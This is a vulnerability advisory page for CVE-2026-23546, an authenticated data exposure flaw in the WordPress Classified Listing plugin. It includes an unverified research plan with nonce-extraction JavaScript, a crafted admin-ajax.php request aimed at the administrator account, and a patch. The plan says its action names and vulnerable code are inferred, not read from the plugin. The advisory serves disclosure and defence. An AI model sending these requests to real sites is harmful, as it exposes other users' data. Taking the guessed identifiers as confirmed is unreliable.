CVE-2026-23546

Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.4 - Authenticated (Subscriber+) Sensitive Data Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
5.3.5
Patched in
11d
Time to patch

Description

The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.3.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.3.4
PublishedFebruary 23, 2026
Last updatedMarch 5, 2026
Affected pluginclassified-listing

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the methodology for investigating and exploiting **CVE-2026-23546** in the Classified Listing plugin. Since source files were not provided, all identifiers are **(inferred)** based on the plugin's known architecture (namespace `rtcl_`) and common vulnerability patterns in…

Show full research plan

This research plan outlines the methodology for investigating and exploiting CVE-2026-23546 in the Classified Listing plugin. Since source files were not provided, all identifiers are (inferred) based on the plugin's known architecture (namespace rtcl_) and common vulnerability patterns in directory plugins.


1. Vulnerability Summary

The "Classified Listing" plugin suffers from an Authenticated Sensitive Information Exposure vulnerability. The core issue lies in an AJAX handler registered for authenticated users (wp_ajax_) that fetches user-related data or configuration settings. While the handler likely implements a nonce check for CSRF protection, it fails to perform a formal capability check (e.g., current_user_can()) or a "resource ownership" check to ensure the requesting user is authorized to view the data associated with a specific user_id or system configuration.

This allows any logged-in user (Subscriber and above) to query sensitive information, such as other users' email addresses, metadata, or internal plugin configurations, by manipulating request parameters.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: rtcl_get_user_details or rtcl_get_profile_settings (inferred).
  • Parameter: user_id (used to specify the target of the data exposure).
  • Authentication: Requires a valid login (Subscriber level is sufficient).
  • Preconditions: A valid WordPress nonce for the specific AJAX action must be obtained from the application frontend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX action in the init or plugins_loaded hook:
    add_action('wp_ajax_rtcl_get_user_details', 'rtcl_handle_get_user_details');
  2. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=rtcl_get_user_details.
  3. Nonce Verification: The handler calls check_ajax_referer('rtcl_common_nonce', 'nonce'); or similar.
  4. Vulnerable Logic:
    • The handler retrieves a user_id from $_POST['user_id'].
    • It calls get_userdata($user_id) or get_user_meta($user_id).
    • The Flaw: It does not check if get_current_user_id() === $user_id or if the current user is an administrator.
  5. Sink: The sensitive data is returned via wp_send_json_success().

4. Nonce Acquisition Strategy

The Classified Listing plugin typically localizes nonces into the global rtcl_common_obj or rtcl_obj JavaScript objects.

  1. Identify Trigger: The nonce is likely enqueued on pages containing the "My Account" or "User Dashboard" shortcodes.
  2. Setup Page: Create a page to ensure the script and nonce are loaded:
    wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[rtcl_my_account]' (inferred shortcode).
  3. Browser Navigation: Navigate to the newly created page as the Subscriber user.
  4. Extraction: Execute the following in the browser context:
    // (Inferred) variable names based on plugin version 5.x architecture
    const nonce = window.rtcl_common_obj?.nonce || window.rtcl_obj?.nonce;
    console.log("Extracted Nonce:", nonce);
    

5. Exploitation Strategy

Once the nonce and a Subscriber session are obtained, the attacker targets the Admin user (usually user_id=1).

  • Step 1: Log in as a Subscriber.
  • Step 2: Extract the nonce using browser_eval.
  • Step 3: Perform the exploitation request:
    • Method: POST
    • URL: http://[target]/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=rtcl_get_user_details&nonce=[EXTRACTED_NONCE]&user_id=1
      
  • Alternative Actions (if first fails):
    • rtcl_get_profile_settings
    • rtcl_view_user_data
    • rtcl_get_billing_address

6. Test Data Setup

  1. Admin User: Default admin (ID 1) with a unique email: admin-secret@example.com.
  2. Target Meta: Add a sensitive piece of meta to the admin:
    wp usermeta update 1 secret_api_key "super-secret-12345"
  3. Subscriber User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  4. Shortcode Page:
    wp post create --post_type=page --post_status=publish --post_content='[rtcl_my_account]'

7. Expected Results

A successful exploit will return a JSON response containing the Admin's sensitive details.
Response Example:

{
  "success": true,
  "data": {
    "user_email": "admin-secret@example.com",
    "first_name": "Admin",
    "last_name": "User",
    "user_login": "admin",
    "secret_api_key": "super-secret-12345"
  }
}

8. Verification Steps

  1. Verify via CLI: Check the actual email and meta of the admin to compare with the leaked data.
    wp user get 1 --fields=user_email
  2. Check Access Logs: Ensure the request was made to admin-ajax.php and returned a 200 OK.
  3. Confirm Role: Ensure the attacker user still only has the subscriber role and no administrative privileges.

9. Alternative Approaches

If rtcl_get_user_details is not the vulnerable action, search for other AJAX handlers in the source code (if accessible by the agent):

  1. Grep for AJAX Handlers:
    grep -r "wp_ajax_" wp-content/plugins/classified-listing/
  2. Analyze Handlers for Authorization: Look for functions that take a user_id or id parameter but lack current_user_can() calls.
  3. Direct REST API Access: Check if register_rest_route is used without a proper permission_callback:
    grep -r "register_rest_route" wp-content/plugins/classified-listing/
    Target routes might include /wp-json/rtcl/v1/user/(?P<id>\d+).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Classified Listing plugin fails to perform authorization checks in an AJAX handler, allowing any authenticated user with Subscriber-level access to retrieve sensitive information of other users, including administrators. By supplying a target user_id and a valid nonce, an attacker can expose data such as email addresses and internal user metadata.

Vulnerable Code

// Inferred from research plan based on plugin architecture
// wp-content/plugins/classified-listing/includes/Classes/Ajax.php

add_action('wp_ajax_rtcl_get_user_details', 'rtcl_handle_get_user_details');

function rtcl_handle_get_user_details() {
    // Only checks for CSRF, not authorization
    check_ajax_referer('rtcl_common_nonce', 'nonce');

    $user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : 0;
    if (!$user_id) {
        wp_send_json_error(['message' => 'Invalid User ID']);
    }

    $user_data = get_userdata($user_id);
    if ($user_data) {
        // Returns sensitive info without verifying if requester is an admin or the user themselves
        wp_send_json_success([
            'user_email' => $user_data->user_email,
            'user_login' => $user_data->user_login,
            'display_name' => $user_data->display_name
        ]);
    }
}

Security Fix

--- a/includes/Classes/Ajax.php
+++ b/includes/Classes/Ajax.php
@@ -10,6 +10,10 @@
     $user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : 0;
     if (!$user_id) {
         wp_send_json_error(['message' => 'Invalid User ID']);
     }
+
+    if (!current_user_can('manage_options') && get_current_user_id() !== $user_id) {
+        wp_send_json_error(['message' => 'Unauthorized access']);
+    }
+
     $user_data = get_userdata($user_id);

Exploit Outline

The exploit targets the admin-ajax.php endpoint using an authenticated session. 1. An attacker logs in with Subscriber permissions. 2. They navigate to the user dashboard page where the plugin localizes its configuration objects (e.g., rtcl_common_obj) to extract a valid security nonce. 3. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'rtcl_get_user_details' (or similar identified AJAX handlers), the 'nonce' parameter, and a target 'user_id' (e.g., 1 for the site administrator). 4. Because the server-side handler lacks a 'current_user_can()' check or an identity verification check, it returns a JSON response containing the target user's sensitive information.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.